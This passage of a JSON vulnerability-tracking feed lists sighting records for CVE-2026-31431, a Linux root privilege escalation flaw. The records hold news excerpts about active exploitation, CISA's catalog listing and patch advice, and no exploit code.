"Telegram/PLkGA2-WRKbMNSzblaRtTzMSbhZN_fUTM7KCRWp8gyLM2XI", "content": "", "creation_timestamp": "2026-09-19T00:00:24.157561Z"}, {"uuid": "5f7f8a6c-2ac6-4f46-9ae0-6fbf405d36d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "exploited", "source": "https://t.me/VulnerabilityNews/42294", "content": "CISA Adds Actively Exploited Linux Root Access Bug CVE-2026-31431 to KEV\n\nThe U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Friday added a recently disclosed security flaw impacting various Linux distributions to its Known Exploited Vulnerabilities (KEV) catalog, citing evidence of active exploitation in the wild.\nThe vulnerability, tracked as CVE-2026-31431 (CVSS score: 7.8), is a case of local privilege escalation (LPE) flaw that could allow an\nhttps://thehackernews.com/2026/05/cisa-adds-actively-exploited-linux-root.html", "creation_timestamp": "2026-09-19T00:00:40.769847Z"}, {"uuid": "9e392bd7-e1d5-4a82-b88a-4da68b0d6f14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "exploited", "source": "https://t.me/VulnerabilityNews/42287", "content": "CVE-2026-31431: Copy Fail vulnerability enables Linux root privilege escalation across cloud environments\n\nA high-severity Linux vulnerability, \u201cCopy Fail\u201d (CVE-2026-31431), enables root privilege escalation across cloud environments and Kubernetes workloads. With a working exploit already in the wild, organizations should act quickly to detect, mitigate, and reduce risk.\nThe post CVE-2026-31431: Copy Fail vulnerability enables Linux root privilege escalation across cloud environments appeared first on Microsoft Security Blog.\nhttps://www.microsoft.com/en-us/security/blog/2026/05/01/cve-2026-31431-copy-fail-vulnerability-enables-linux-root-privilege-escalation/", "creation_timestamp": "2026-09-19T00:00:40.834408Z"}, {"uuid": "92ce10d9-3276-4f55-8bda-95ee03b47409", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "Telegram/7HGOqCXbKI1hNntvQwnIuknldsLkZaEMStEzyd5S_9lQPYE", "content": "", "creation_timestamp": "2026-09-19T02:00:03.985363Z"}, {"uuid": "5c03c0f5-25f5-4de3-8010-58ae0f7682cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/cyfar.ca/post/3mvtsgmocy62v", "content": "~Cisa~\nLocal users or compromised containers can gain root on affected Edgenius gateways; update to 3.2.4.1.\n-\nIOCs: CVE-2026-31431\n-\n#CVE202631431 #ICS #ThreatIntel", "creation_timestamp": "2026-09-19T04:03:25.226809Z"}, {"uuid": "750a9b77-73f0-4fac-a7c0-65326009b525", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "Telegram/7HGOqCXbKI1hNntvQwnIuknldsLkZaEMStEzyd5S_9lQPYE", "content": "", "creation_timestamp": "2026-09-20T00:00:11.706100Z"}]}